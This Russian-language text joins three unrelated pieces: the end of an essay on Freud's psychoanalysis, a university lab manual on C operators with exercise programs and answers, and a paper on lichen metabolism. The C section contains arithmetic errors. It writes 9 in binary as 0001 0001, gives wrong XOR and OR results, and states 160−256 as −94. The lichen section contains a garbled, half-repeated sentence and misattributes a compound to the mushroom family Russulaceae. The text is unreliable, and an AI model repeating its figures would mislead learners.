Поэтому истолкование сновидений представляет собой “королевскую дорогу” психоанализа, а само сновидение может быть парадигмой всех шифров, уловок влечений, так как в сновидении происходит регрессия психического аппарата к архаичному, изначальному — мы возвращаемся к нашим детским влечениям, а они суть наследия первобытности. Важнейшей предпосылкой всей культурологии фрейдизма является “биологический закон”: онтогенез есть повторение филогенеза. Трагедия, разыгравшаяся однажды в первобытной орде, неизменно повторяется на каждой семейной сцене; история Эдипа и история Моисея возобновляют эту древнейшую пьесу — в этом эстетическая сила античной трагедии, воспроизводящей древний миф, в этом сила истории Моисея — она воспроизводится в душе ребенка, вступающего в жизнь не только биологически, но и психически через взаимоотношения с родителями.

Символика сновидений универсальна, мы имеем дело с одними и теми же символами, замещающими влечения. Строго говоря, это не символы, а знаки с установленными от века значениями. Психоаналитик может быть верующим или неверующим в Бога, почитающим искусство или равнодушным к нему, но психоанализ в любом случае есть род иконоборчества. Метод

Фрейда — сведение сложного к простому, примитивному и архаичному.

Психоанализ представляет собой театр масок, где главным актером является желание. Фрейд ставит вопрос об отношениях между влечением и смыслом, языком и той силой, которая стремится найти выражение в языке.

Не зря он сразу заинтересовал писателей и художников, хотя встретил немалое сопротивление со стороны медицинских кругов. И сновидения, и невротические симптомы являются носителями скрытого смысла: существует тайный язык глубинных психических процессов, доступный переводу на язык сознания. Это лежит в основе всей психотерапии Фрейда, который утверждал: “Там где было Оно, должно стать Я”. Иначе говоря вместе с выходом бессознательных представлений на свет сознания, они теряют ту психическую энергию, которая не находила ранее иного пути, кроме создания невротических симптомов.

Самым загадочным в психоанализе является понятие “сублимации”, отклонение влечения от своей цели, какая его “возгонка”, когда эротическое стремление становится произведением искусства. Художник у

Фрейда напоминает свободно играющего ребенка, беспрепятственно реализующего свои фантазии, но в замещенной форме. Созерцание произведения искусства доставляет нам наслаждение, подобное легкому наркозу. Как и невротик, художник бежит от реальности, ибо не находит удовлетворения своим постоянным влечениям, но творец обладает даром возвращаться из мира фантазии, воплощая их а произведения искусства.

Сам этот дар остается в психоанализе необъяснимым: совершенно непонятно, почему тот или иной “комплекс” не вызывает невроза, но реализуется именно в такой повести (а не в стихотворении, картине или скульптуре). Единственное, что проясняет психоанализ, это производность прекрасного от эротики (“прекрасное и возбуждающее, — пишет Фрейд, — таковы изначальные свойства сексуального объекта”).

Часть 5. Заключение.

Психоанализ представляет собой не только мир, но и философию. Она далеко от оптимизма. Мы обладаем такой, а не иной физической и психической организацией и мало что способны изменить в своем положении. Реальность не подчиняется нашим желаниям и не подвластна мольбам. С нею можно примириться, как и со своей судьбой. Психоанализ — это урок скромности для человека, поскольку ему следует отучиться принимать иллюзорное за самоочевидное, а желаемое за действительное.

Обнаружив себя рабом собственных влечений, человек способен уменьшить зависимость, но от цепей ему не избавиться, как и от смерти.

Освобождение от иллюзий, от сновидений дает познание необходимости.

Такая философия не утешает, она помогает одному бесстрашному принятию судьбы.

Список литературы.

1. З. Фрейд “Психоанализ. Религия. Культура”.

2. А.М. Руткевич “От Фрейда к Хайдеггеру”.

3. П.С. Таранов “Анатомия мудрости”.

Лабораторная работа: Операции языка Cи

Кафедра: Автоматика и информационные технологии

ОПЕРАЦИИ ЯЗЫКА СИ

Содержание

ХАРАКТЕРИСТИКИ ОПЕРАЦИЙ

Таблица приоритетов операций

Комментарии к операциям

Правила преобразований типов

В выражениях

В присваиваниях

ЛАБОРАТОРНЫЕ ЗАДАНИЯ

Основные арифметические операции

Операции присваивания.

Логические операции и операции инкремента.

Поразрядные операции.

Отношения и условия

Выполнение операций и их приоритеты

Основные типы данных

Приведение целых и вещественных типов

Приведение целых и вещественных выражений

ОТВЕТЫ К ЗАДАНИЯМ

ДОПОЛНИТЕЛЬНЫЕ ЗАДАНИЯ

БИБЛИОГРАФИЧЕСКИЙ СПИСОК

Характеристики операций

Операция – это элементарная конструкция, которая возвращает некоторый результат. В отличие от операций, операторы – синтаксические конструкции, управляющие ходом выполнения программы. Основные операторы: условные переходы и циклы.

По количеству аргументов операции бывают унарные, бинарные и имеется одна тернарная операция «Условие».

Если одна и та же операция встречается в выражении несколько раз, то говорят о лево-ассоциативных и право-ассоциативных операциях. В первом случае данная операция выполняется слева направо, во втором – справа налево.

Таблица приоритетов операций

Операции, расположенные в таблице выше, имеют больший приоритет.

Таблица 4

№ операции

Группа операций

Обозначение операции

Название операции

Название на сленге

Ассоциативность
первичные

()

круглые скобки

1. () [] -> :: .

®
[]

индексация

Квадратные скобки

®
->

Обращение к элементу структуры по указателю на структурную переменную

стрелка

®
::

Разрешение видимости

Четвероточие

®
.

Обращение к элементу структуры по имени структурной переменной

Точка

®
унарные

!

Логическое отрицание

Восклицательный знак

←
~

Побитовое инвертирование

Тильда

←
++

Автоматический инкремент ++х;

Отложенный инкремент х++

Плюс-плюс

←
—

Автоматический декремент —х;

Отложенный декремент х—

Минус-минус

←
—

Обращение знака

Минус

←
+

Подтверждение знака

плюс

←
(тип)

Явное приведение типа

←
*

Разыменование указателя

Звездочка

←
&

Взятие адреса

Амперсанд

←
sizeof

Размер в байтах аргумента

sizeof

←
new

Операция выделения динамической памяти

new

←
delete

Операция освобождения динамической памяти

delete

←
мультипликативные

*

умножение

умножение

®
/

деление

деление

®
%

Деление по модулю

процент

®
аддитивные

+

—

Сумма

разность

Сложение

Разность

®
сдвиги

<<

Побитовый сдвиг влево

Меньше-меньше

®
>>

Побитовый сдвиг вправо

больше-больше

®
отношения

<

<=

>

>=

Меньше

Меньше равно

Больше

Больше равно

®
Сравнение

==

Сравнение на равенство

®
!=

Сравнение на неравенство

3. .* ->*

®
поразрядные

&

Побитовое «И»

амперсанд

®
^

Побитовое взаимоисключающее «ИЛИ»

крышка

®
|

Побитовое «ИЛИ»

Побитовое «ИЛИ»

логические

&&

Логическое «И»

«И»

||

логическое «ИЛИ»

«ИЛИ»

Условие

?:

Условное выражение

Вопросительный знак

←
присваивания

=

Присваивание

Равно

←
*= /= %= += -= &= ^= |= <<= >>=

Комбинированные присваивания

Умножить равно и т.д.

←
запятая

,

запятая

запятая

®

Ассоциативность «слева направо» означает группировку операций таким образом: запись A1 @ A2 @ A3 означает ((A1 @ A2) @ A3).

Ассоциативность «справа налево» обрабатывает запись A1 @ A2 @ A3 как (A1 @ (A2 @ A3)).

Комментарии к операциям

1. () – самая сильная операция. Выражение (2*(4+5)) равно 18.

2. [] индексирует элементы массивов. А[3][6] – в третьей строке шестой элемент. Индексация начинается с нуля, то есть А[0][0] – начальный элемент массива.

3. Операция -> используется с указателями на структурные переменные и на объекты классов. Например,

struct Pixel

{

int x, y;

char col;

};

Pixel A, *ptr;

ptr = &A

ptr->x = 100;

4. Операция :: применятся для обращения к глобальным переменным, скрытым локальными переменными.

int x = 2;

void main()

{

int x=5;

printf(“%d”, x + ::x); // 7

}

5. Операция “точка” используется с структурными переменными и над объектами классов. Например,

Pixel A;

А.x = 100;

6. В языке Си нет логических констант true и false. Вместо этого все, что не ноль считается истинным, а ноль любого типа считается ложью. При этом представителем истины является 1.

Таблица 4.

Таблица истинности операции логического отрицания

x

ноль

не ноль
!x

1

0

7. Побитовое инвертирование применяется только к целым аргументам. Для получения результата аргумент необходимо преобразовать в двоичную систему счисления. Количество разрядов должно соответствовать типу аргумента.

Таблица 4.

Таблица истинности

x

0

1
~x

1

0

Пример.

char x = 20, y;

y= ~x;

Так как х = 20 = 000101002, то y = 11101011. Переменная y является знаковой, поэтому ее содержимое компилятор будет интерпретировать как число со знаком, то есть отрицательное. Найдем это число из схемы

y = 1110 1011

+

-y = 0001 0101

= 0000 0000

Так как –y = 21, то y = -21.

8. Автоматический инкремент увеличивает аргумент на единицу. Применяется к любым типам. Операция ++x эквивалентна оператору x = x + 1, но занимает меньше места и удобнее в сложных выражениях. Отложенный инкремент x++ увеличивает аргумент на единицу при следующей встрече этой переменной. Не учитывается ее использование в строках и комментариях. Заметим, что название языка Си++ происходит от этой операции Автор Си++ Б.Страустрап видимо, предполагал, что этот язык на порядок лучше своего предшественника, языка Си.

9. Операция декремента аналогично уменьшает аргумент на единицу.

Пример. int x = 2, y = 4, z;

z = x++ + ++x + y— + —y;

В результате x = 4, y = 2, z = 2 + 4 + 4 + 3 = 13.

10. Операция –x является стандартной, она не меняет значения x.

11. Операция +x лишена смысла.

12. Явное преобразование типа не меняет типа своего аргумента и влияет только на тип результата. Запись (int)2.1 вернет число 2. Используется, как правило, при работе с указателями. Для числовых констант применяется неявное преобразование типа.

13. Операция «звездочка» применяется только к указателю и возвращает переменную, на которую указывает этот указатель. Может находиться в левой части операции присваивания (Lvalue) и в правой части (Rvalue). В первом случае результат операции – сама ячейка, на которую указывает указатель, Во втором случае – содержимое этой ячейки.

14. Взятие адреса применяется к любому идентификатору, с которым связана область ОЗУ. Возвращает логический адрес самого левого байта памяти, которую занимает этот идентификатор. Это могут быть переменные базовых типов, другие указатели, элементы массивов, структурные переменные. Для определения типа результата этой операции, надо добавить к типу аргумента одну звездочку.

Пример.

int x = 3, y, *px;

px = &x // указатель px указывает на переменную x

y =* px; // y=3

*px = y+1; // x=4

Типом выражения &y является int*, а тип записи &px это int **.

15. Операция sizeof возвращает размер «чего угодно» в байтах. Например, sizeof(float) = 4, sizeof(20) = 2, для дальних адресов sizeof(float*) = 4.

16. Операция new выделяет динамическую память и введена в языке Си++. Ее аналогом в Си является функция malloc.

17. Операция delete освобождает динамическую память, выделенную ранее операцией new. Ее аналогом в Си является функция free.
Пример.

int *pi = new int;

*pi = 100;

delete pi;

18. Умножение * является обычной операцией.

19. Деление / осуществляется обычным образом, если один из аргументов имеет вещественный тип. Если оба аргумента – целые, то операция возвращает только целую часть результата.

20. Деление % применяется только для двух целых аргументов и возвращает целочисленный остаток от деления.

Например, 20.0/3 = 6.33333, 20/3 = 6, 20%3 = 2.

Пример. Имеет место тождество

b = a * (b/a) + b%a.

Пример. Если m – трехзначное целое число abc, то a = m/100, c = m%10, b = m%100/10.

Мультипликативные операции имеют одинаковый приоритет.

21. Аддитивные операции обычны.

22. Бинарная операция сдвига используется для двух аргументов только целого типа. Левый аргумент надо преобразовать к двоичному виду. Правый аргумент указывает, на сколько бит необходимо произвести сдвиг.
При сдвиге влево x << y левые биты числа x пропадают, новые биты справа заполняются нулями. Операция x << y равносильна умножению x Ч 2y.

23. При сдвиге вправо x >> y правые биты числа x пропадают, новые биты слева заполняются знаком числа x. Если x отрицательно, то новые биты равны 1, при положительном х новые биты равны 0. Операция x >> y равносильна делению нацело x / 2y.

Пример.

char x = 20, y = -10;

unsigned char z = 20;

Тогда x >> 2 = 0001 01002 >> 2 = 0000 01012 = 5

x << 2 = 0001 01002 << 2 = 0101 00002 = 80

x << 3 = 0001 01002 << 3 = 1010 00002 = 160 – 256 = -94 – логическая ошибка выхода за диапазон типа char

y >> 3 = 1111 01102 >> 3 = 1111 11102 = -2

z >> 3 = 0001 01002 >> 3 = 0000 00102 = 2

24-26. Операции отношения и сравнения обычны. В случае истины они возвращают 1, при нарушении возвращают 0.

27-29. Побитовые операции применяются для целых аргументов.

Таблица 4.

Таблицы истинности

&

0

1

^

0

1

|

0

1
0

0

0

0

0

1

0

0

1
1

0

1

1

1

0

1

1

1

Пример.

7 & 9 = 0000 0111 & 0001 0001 = 0000 00012 = 1

7 ^ 9 = 0000 0111 ^ 0001 0001 = 0001 01102 = 22

7 | 9 = 0000 0111 | 0001 0001 = 0001 01112 = 23

30-31. Логические операции возвращают 1 (истину) или 0 (ложь).

Компилятор оптимизирует логические выражения таким образом, что если по результату вычисленного подвыражения можно сделать вывод относительно результата всего выражения, то дальнейшее вычисление выражения не выполняется.

Пример.

7 && 9 = 1

32. Операция «Условие» позволяет иногда заменить условный оператор if-else на операцию.

Пример. Максимальное из двух чисел равно max = (x > y) ? x : y;

Максимальное из трех чисел равно

max = (x > y) ? ( x > z ? x : z) : ( y > z ? y : z);

33. Результатом присваивания является значение того, что присвоено левому аргументу.

34. Комбинированное присваивание x op = y является компактной записью оператора x = x op y. Однако компилятор эту замен не производит. Комбинированное присваивание является отдельной операцией.

35. «Запятая» является, пожалуй, самой экзотической операцией языка Си. Результатом выражения x,y является число y.

Пример.

x = 2,5; // x = 2, так как присваивание сильнее запятой

x = (2,5); // x = 5

По-видимому, здесь хотели написать x=2.5

Правила преобразований типов

В выражениях

Если операнд имеет тип не int и не double, то сначала приводится:

signed char —> int расширением знакового бита (7)

unsigned char —> int дополнением нулями слева

short —> int расширением знакового бита (15)

unsigned short —> unsigned int дополнением нулями слева

enum —> int порядковый номер в перечислимом типе

float —> double дробная часть дополняется нулями

Если какой-нибудь операнд имеет тип double, unsigned long, long или unsigned int то и другой операнд приводится к тому же типу. Результат: того же типа.

Если оба операнда имеют тип int, то результат тоже типа int.

При вызове функций их аргументы – тоже выражения, поэтому в них приводятся char,short к int и float к double. Это говорит о том, что аргументы (формальные параметры) функций можно всегда объявлять как int и double вместо char,short и float соответственно.

Зато спецификатор unsigned является существенным.

В присваиваниях

op = expr;

Тип выражения expr приводится к типу левой части – op. При этом возможны приведения более «длинного» типа к более «короткому» при помощи усечения, вроде:

int —> char обрубается старший байт.

long —> int обрубается старшее слово.

float —> int отброс дробной части

double —> int и обрубание мантиссы, если не лезет.

double —> float округление дробной части.

Вот еще некоторые приведения типов:

signed —> unsigned виртуально (просто знаковый бит

unsigned —> signed считается значащим или наоборот).

unsigned int —> long добавление нулей слева.

int —> long расширение знакового бита.

float —> int преобразование внутреннего.

int —> float представления: машинно зависимо.

Некоторые преобразования могут идти в несколько стадий, например:

char —> long это

char —> int —> long

char —> unsigned long это

char —> int —> unsigned long

Лабораторные задания

Основные арифметические операции

Что напечатает следующая программа?

#include <stdio.h>

main()

{

int x;

x= -3 + 4 * 5 — 6; printf(«%dn»,x);

x= 3 + 4 % 5 — 6; printf(«%dn»,x);

x= -3 * 4 % — 6 / 5 ; printf(«%dn»,x);

x= (7 + 6) % 5 / 2 ; printf(«%dn»,x);

return 0;

}

Операции присваивания.

Что напечатает следующая программа ?

#include <stdio.h>

#define PRINTX printf(«%dn»,x)

main()

{

int x=2,y,z;

x *= 3 + 2; PRINTX;

x *= y = z =4 ; PRINTX;

x = y == z; PRINTX;

x == (y = z); PRINTX;

return 0;

}

Логические операции и операции инкремента.

Что напечатает следующая программа ?

#include <stdio.h>

#define PRINT(int) printf(«%dn»,int)

main()

{

int x,y,z;

x=2; y=1; z=0;

x = x && y || z; PRINT(x);

PRINT(x || ! y && z);

x=y=1;

z = x ++ — 1; PRINT(x);

PRINT(z);

z += — x ++ + ++ y; PRINT(x);

PRINT(z);

z = x / ++ x; PRINT(z);

return 0;

}

Поразрядные операции.

Что напечатает следующая программа ?

#include <stdio.h>

#define PRINT(int) printf(«%dn»,int)

main()

{

int x,y,z;

x=03; y=02; z=01;

PRINT( x | y & z );

PRINT( x | y & ~z );

PRINT( x ^ y & ~z );

PRINT( x & y && z );

x=1; y=-1;

PRINT( ! x | x );

PRINT( ~ x | x );

PRINT( x ^ x );

x <<= 3; PRINT(x);

y <<= 3; PRINT(y);

y >>= 3; PRINT(y);

return 0;

}

Отношения и условия

Что напечатает следующая программа ?

#include <stdio.h>

#define PRINT(int) printf(«%dn»,int)

main()

{

int x=1,y=1,z=1;

x += y += z;

PRINT( x < y ? y : x );

PRINT( x < y ? x ++ : y ++ );

PRINT(x);

PRINT(y);

PRINT( z += x < y ? x ++ : y ++);

PRINT(y);

PRINT(z);

x=3; y=z=4;

PRINT( (z >= y >= x) ? 1 : 0);

PRINT( z >= y && y >=x );

return 0;

}

Выполнение операций и их приоритеты

Что напечатает следующая программа ?

#include <stdio.h>

#define PRINT(x,y,z) printf(«x=%dt y=%dt z=%dn»,x,y,z)

main()

{

int x,y,z;

x=y=z=1;

++ x || ++ y && ++ z; PRINT(x,y,z);

x=y=z=1;

++ x && ++ y || ++ z; PRINT(x,y,z);

x=y=z=1;

++ x && ++ y && ++ z; PRINT(x,y,z);

x=y=z=-1;

++ x && ++ y || ++ z; PRINT(x,y,z);

x=y=z=-1;

++ x || ++ y && ++ z; PRINT(x,y,z);

x=y=z=-1;

++ x && ++ y && ++ z; PRINT(x,y,z);

return 0;

}

Основные типы данных

Что напечатает следующая программа?

#include <stdio.h>

#define PRINTd(x) printf(«%dn»,x);//десятичное число со знаком

#define PRINTc(x) printf(«%cn»,x);//символ с ascii-кодом x

#define PRINTo(x) printf(«%on»,x);//восьмеричное число со знаком

#define PRINTs(x) printf(«%sn»,x);//строковая константа

int integer =5;

char character=’5′;

char* string =»5″;

main()

{

PRINTd(string);

PRINTd(character);

PRINTd(integer);

PRINTs(string);

PRINTc(character);

PRINTc(integer=53);

PRINTd( ‘5’>5 );

{

int sx=-8;

unsigned ux=-8;

PRINTo(sx); PRINTo(ux);

PRINTo( sx>>3 ); PRINTo( ux>>3 );

PRINTd( sx>>3 ); PRINTd( ux>>3 );

}

return 0;

}

Приведение целых и вещественных типов

Что напечатает следующая программа ?

#include <stdio.h>

#define PRi(x) printf(«i=%.8gt»,(double)x)

#define PRl(x) printf(«l=%.8gt»,(double)x)

#define PRf(x) printf(«f=%.8gt»,(double)x)

#define PRd(x) printf(«d=%.8gt»,(double)x)

#define NL putchar(‘n’)

#define PRINT4(x1,x2,x3,x4) PRi(x1);PRl(x2);PRf(x3);PRd(x4);NL

main()

{

double d;

float f;

long l;

int i;

i=l=f=d= 100/3; PRINT4(i,l,f,d);

d=f=l=i= 100/3; PRINT4(i,l,f,d);

i=l=f=d= 100/3.; PRINT4(i,l,f,d);

d=f=l=i= (double)100/3; PRINT4(i,l,f,d);

i=l=f=d= (double)(100000/3); PRINT4(i,l,f,d);

d=f=l=i= (double)100000/3; PRINT4(i,l,f,d); return 0;

}

Приведение целых и вещественных выражений

Что напечатает следующая программа ?

#include <stdio.h>

#define NL putchar(‘n’)

#define PR(x) printf(«%gt»,(double)x)

#define PRINT1(x1) PR(x1);NL

#define PRINT2(x1,x2) PR(x1);PR(x2);NL

main(){

double d=3.2 ,x; int i=2 ,y;

x= ( y= d/i ) *2; PRINT2(x,y);

y= ( x= d/i ) *2; PRINT2(x,y);

y= d *( x= 2.5/d ); PRINT1(y);

x= d *( y= ( (int)2.9 + 1.1 )/d );

PRINT2(x,y);

return 0;

}

Ответы к заданиям

11 1 0 1

10 40 1 1

1 1 2 0 3 0 1

3 3 1 1 1 -1 0 8 -8 -1

3 2 3 3 4 4 4 0 1

x=2 y=1 z=1 x=2 y=2 z=1

x=2 y=2 z=2

x=0 y=-1 z=0

x=0 y=0 z=-1

x=0 y=-1 z=-1

175 — младший байт адреса в десятичной форме 53 5 5 5 1

sx= 177770

ux= 177770

sx>>3 = 177777 знак переносится при сдвиге

ux>>3 = 17777 знак не переносится при сдвиге

-1

8191

i=33 l=33 f=33 d=33 i=33 l=33 f=33

d=33

i=33 l=33 f=33.333332 d=33.333333

i=33 l=33 f=33 d=33

i=-32203 l=33333 f=33333 d=33333

i=-32203 l=-32203 f=-32203 d=-32203

x=2 y=1 x=1.6 y=3

y=2

x=0 y=0

Дополнительные задания

Напишите выражение для определения суммы 0-го и 3-го битов числа int x.

Напишите выражение для определения количества единиц в числе char х.

Установить в единицу 3-ий и 5-ый биты переменной int x. Сбросить в ноль 9-ый и 13-ый биты переменной int x.

Что напечатает фрагмент программы

int x=100, y=7, z;

z = (x / y) % 5 * 3;

printf(“%d”, z);

Что напечатает фрагмент программы

int x=10, y=-70, z;

z = x << 3 + y >> 2;

printf(“%d”, z);

Переменная int x содержит четырехзначное натуральное число abcd. С помощью операций / и % найдите цифры a, b, c, d.

Найдите с помощью операций «условие» максимальное из трех чисел. Использовать только один оператор в виде max = …… ;

Запишите в виде одного логического выражения принадлежность точки (x, y) уpезанному единичному квадpату

Рис.1.

Библиографический список

Керниган Б., Ритчи Д., Фьюэр А. Язык программирования Си: Задачи по языку Си. М.: Финансы и статистика, 1985. – 192с.

Керниган Б., Ритчи Д. Язык программирования Си. М.: Финансы и статистика, 1992. — 272с.

Подбельский В.В., Фомин С.С. Программирование на языке Си. Учеб. пособие. М.: Финансы и статистика, 2004. 600 с.

Реферат: Обмен веществ лишайников

Содержащиеся в лишайниках вещества подразделяют на первичные и вторичные. К первичным относятся вещества, участвующие в клеточном обмене и в строении тела, к вторичным — клеточные продукты обмена веществ, называемые еще лишайниковыми кислотами.

Первичные вещества в основном представлены углеводами, обмен которых протекает так же, как и у других растений. В гифах лишайников обнаружены хитин (характерен для большинства грибов) и полисахарид лихенин, называемый еще лишайниковым крахмалом.

В некоторых лишайниках (Cetraria islandica, Alec-toria ochroleuca) количество последнего доходит до 45—50 % на сухое вещество. При его гидролизе образуется 98—99 % D-глюкозы, остатки которой связаны в лихенине двояким образом — 73 % гликозидными связями между 1-м и 4-м и 27 % — гликозидными связями между 1-м и 3-м углеродными атомами (рис. 62). Синтез лихенина в лабораторных условиях еще не осуществлен. Организм человека лихенин не усваивает. Его можно использовать в качестве желирующего вещества в кондитерской промышленности, в приготовлении ягодных киселей. Лихенин усваивается северными оленями благодаря гидролизу бактериями, находящимися в пищеварительном канале.

В оболочках гиф содержатся гемицеллюлозы, в межклеточных пространствах — пектиновые вещества, которые, впитывая воду, вызывают набухание слоевища. В относительно большом количестве (до 5 % воздушно-сухой массы) содержатся дисахариды (сахароза, а-трегалоза) и полиспирты (маннит, эритрит, сифулин).

Лишайники содержат много ферментов — амилазу, инвертазу, уреазу, каталазу, лихеназу и другие, в том числе и ферменты внеклеточного действия.

Активность ферментов, участвующих в обмене веществ и находящихся в микобионте лишайников, неодинакова. Она зависит от их видовых особенностей. Уреазная активность у лишайников весьма значительна. Например, у Cladonia verticillata 75 % уреазной активности сосредоточено в фикобионте. Протеолитическая активность у лишайников с синезеленым фикобионтом выше в сравнении с видами, где фикобионтом является зеленая водоросль. Нитрогеназная активность обнаруживается не у всех лишайников, где фикобионтами являются зеленые водоросли. А у лишайников с синезеленым фикобионтом она, в зависимости от вида, колеблется от 0,2 до 52 нмоль/г/ мин. У представителей фиксирующих азот, его содержание всегда выше, чем у видов, не фиксирующих этот элемент. Активность каталазы лишайников проявляется в диапазоне рН от 5 до 11, а оптимум находится при значениях рН 6,5—8,5. Изменяется катализная активность прямо пропорционально содержанию воды в слоевище.

У лишайников, фикобионтами которых являются значениях рН 6,5—8,5. Изменяется каталазная активность полифосфокиназа, с участием которой осуществляется синтез полифосфатов, высоко энергетических соединений низших растений.

У нескольких видов лишайников обнаружена нитратредуктазная способность, причем наибольшая активность характерна для эпифитного лишайника Lobaria pulmonaria. Его таллом состоит из трех симбионтов: гриба, который имеет то же название, что и весь лишайник, зеленой водоросли Myrmecia и синезеле-ной водоросли Nostoc. Способностью восстанавливать нитраты обладает как грибной, так и водорослевый компонент L.pulmonaria. При опрыскивании лишайника нитратом активность нитратредуктазы в первые 5 дней повысилась вдвое и до конца опыта оставалась на постоянном уровне. Таким образом фермент индуцируется у лишайника нитратом. При опрыскивании лишайникового таллома водой нитратредуктазная активность достигает почти того же уровня с опозданием на 5 дней.

Богаты лишайники и витаминами, в числе которых аскорбиновая и никотиновая кислоты, биотин, цианокобаламин и др.

Вторичные лишайниковые вещества, на долю которых приходится до 5 % сухой массы, представляют собой безазотистые соединения фенольного характера, близкие по своей природе к дубильным веществам растений, но более простого строения. Общее их количество достигает 270, из которых около 80 встречаются только в лишайниках. Для определения содержания и распределения лишайниковых веществ используется метод цветной катодной люминесценции. Так, норсоминовая кислота обладает оранжевой люминесценцией, ксанторин — красной, лихексантин — желтой. Вторичные лишайниковые вещества характеризуются значительной пруроченностью к определенным лишайникам. Так, у лишайника Rhizocarpon superficiale выделено 13 веществ, в том числе констиктовая, стиктовая, морстиковая, исоромовая, гидрофоровая, ризокарповая, тетроновая кислоты, а также 6 неидентифицированных веществ. У одного и того же вида есть расы со значительным преобладанием той или иной лишайниковой кислоты. На этом основании у лишайника Cetraria olivetorum выделено 4 хематаксона, которые иногда рассматриваются как самостоятельные виды: С. cetrarioides с преобладающей кислотой — перлатовой, С. monochorum — имбрикаровой, С. chieitae — алектороновой, С. olivetorum — оливеторовой.

Лишайниковые кислоты почти нерастворимы в воде, но растворяются в этиловом и петролейном эфире, бензоле, ацетоне и щелочах. Одни из них бесцветны, другие, напротив, окрашены в желтый, красный, бурый, или черный цвета и почти все имеют горький вкус.

Хорошо изучена леканоровая кислота (Сі6Ні407), содержащаяся в представителях рода Arthonia. Она близка по своему строению к простейшим дубильным веществам типа депсидов. Ее искусственно синтезировали из орселиновой кислоты, являющейся производной орцина. В лишайниках семейства Russulaceae содержится эритрин (С2ОН22О10) — сложный эфир четырехатомного спирта эритрита с леканоровой кислотой. Протоцетратовая кислота (С18Нн09) содержится во многих лишайниках обычно в форме соединения типа эфира с двумя остатками фумаровой кислоты.

Некоторые лишайниковые кислоты ядовиты. К ним, в частности, относятся вульпиновая (C19H1405) и хризопетраровая (С19Н1406). Усниновая кислота (С28Н1807) обладает сильным антибактериальным действием и используется как антибиотик, угнетающий рост туберкулезных бактерий.

Многие лишайники, произрастающие на древесине, делают ее устойчивой к поражению дереворазрушающими грибами. Связано это с переходом лишайниковых кислот в древесину. Опыты Н. Тихи и В. Рипачека с лишайником Parmelia physodes, собранным с коры сосны, показали, что при добавлении его в питательную среду, инокулированную затем дереворазрушающими грибами, происходило значительное ингибирование их роста. Parmelia physodes содержит также фракцию аморфных лишайниковых веществ, представляющих гетерогенную смесь веществ, не являющихся настоящими лишайниковыми кислотами и обладающих высоким ингибирующим действием. Так, относительная скорость роста гриба Heterobasidion annosum на питательной среде, содержащей аморфные лишайниковые кислоты, ингибируется намного сильнее, чем его рост на среде с физодовой лишайниковой кислотой. Если аморфные лишайниковые кислоты, находящиеся в агаровой среде в концентрации 1 : 800, полностью ингибируют рост гриба, то физодовая лишайниковая кислота не оказывает такого действия даже в концентрации 1 : 200, вызывающей снижение скорости роста только на 22 % по сравнению с контролем.

Отдельные виды лишайников, в частности Parmelia sulcata, не вызывают заметного ингибирования роста дереворазрушающих грибов, что связано с образованием в ходе метаболизма специфических лишайниковых кислот со слабой токсичностью. Лишайниковые кислоты по своему строению принадлежат к различным группам химических соединений, среди которых есть алифатические моно-, ди- и трикарбоновые кислоты, дериваты пулвиновой кислоты и кумарона производные тиофаниновой кислоты, депсиды, депсидоны и другие соединения. Практически каждый вид лишайника имеет определенную типичную группу продуктов метаболизма, определяющую степень его ингибирующего влияния на рост грибов и бактерий.

Синтез лишайниковых веществ связан с деятельностью как фикобионта, образующего углеводы, так и микобионта, превращающего углеводы в другие соединения. Показано, что некоторые лишайниковые кислоты приближают физиологические характеристики культивируемых водорослей к симбиотическому состоянию, т. е. эти соединения, видимо, участвуют в регуляции взаимоотношений лишайниковых симбионтов. Однако, учитывая отсутствие в настоящее время методов, позволяющих выделить из лишайника ненарушенные гифы микобионта, свободные от водорослей, проведение таких исследований затруднено. В этой связи использование культивируемых микобионтов представляется перспективным как для познания биосинтеза лишайниковых кислот, так и для выявления роли водоросли в формировании таллома лишайника.

Биологическая роль лишайниковых кислот до конца не изучена. Одни исследователи полагают, что эти вещества предохраняют лишайники от поедания животными, другие — что от поражения бактериями, третьи считают их отходами обмена веществ. Кроме того, высказывается предположение, что лишайниковые вещества являются запасными соединениями. Способность некоторых из них подавлять рост грибов, мхов, снижать всхожесть семян обеспечивает лишайникам преимущества в конкуренции за места обитания.

Лишайниковые кислоты оказывают влияние на проницаемость растительных мембран, в том числе лишайниковых водорослей. Высокой устойчивостью к лишайниковым кислотам, в частности к усниновой кислоте, которая является сильным антибиотиком, обладает Trebouxia. Изучена динамика действия трех лишайниковых кислот на вымывание органических веществ из этой водоросли. Характерно, что это действие проявляется достаточно быстро (уже после 3-часовой экспозиции) и ярче всего у физодиевой кислоты. На 8-е сутки, однако, все кислоты действуют практически одинаково.

Показательно, что лишайниковые кислоты влияют на проницаемость водорослевых мембран селективно, резко стимулируя выход органических веществ, необходимых грибу-симбионту. Этим они отличаются от грибных токсинов, с помощью которых грибы — паразиты получают питательные вещества из клеток растения-хозяина. В образовании лишайниковых веществ, как полагают, ключевыми факторами являются температура и освещенность. Наличие сезонной динамики в содержании лишайниковых кислот свидетельствует о том, что эти соединения являются активными метаболитами. Подтверждением активного участия лишайниковых веществ в обмене может служить и тот факт, что эти соединения не накапливаются с возрастом лишайника. Образование некоторых лишайниковых веществ используется в таксономии лишайников. Содержание одних лишайниковых веществ (вульпиновая кислота) выше всего в самых молодых частях слоевища (до 5,7 % на сухую массу) и ниже всего в старых (до 1,7 % на сухую массу), а других (астронарин) выше всего в старых базальных частях слоевища.

Рост и действие на ростовые процессы условий окружающей среды

Ростовые процессы у лишайников протекают очень медленно. Скорость роста у разных видов различна и зависит от действия внешних факторов.

Наиболее медленно растут накипные лишайники. Их ежегодный прирост составляет 0,5—1 мм. Кустистые виды вырастают за год на 2—7 мм, крупнопластичные — на 1—3 см. В начале развития лишайники растут более интенсивно, так как образуемые фикобионтом органические вещества равномерно распределяются по всему слоевищу. Далее рост замедляется или даже прекращается. Нередко слоевище в центральной части отмирает, а на периферии рост продолжается.

В связи с медленным ростом лишайники живут очень долго, так как значительную часть своей жизни они находятся в высушенном состоянии, аналогичном состоянию покоя у высших растений. Обычно их возраст достигает 50—100 лет. Накипные лишайники достигают возраста 1000 лет, возраст слоевищ Rhizocarpon geographicum до 4000 лет. Большая продолжительность жизни лишайников используется для определения минимальных возрастов субстратов. Лихенология нашла наиболее широкое применение при датировке моренных образований современных ледников, селевых потоков, обвалов, времени образования осыпей, береговых валов и террас.

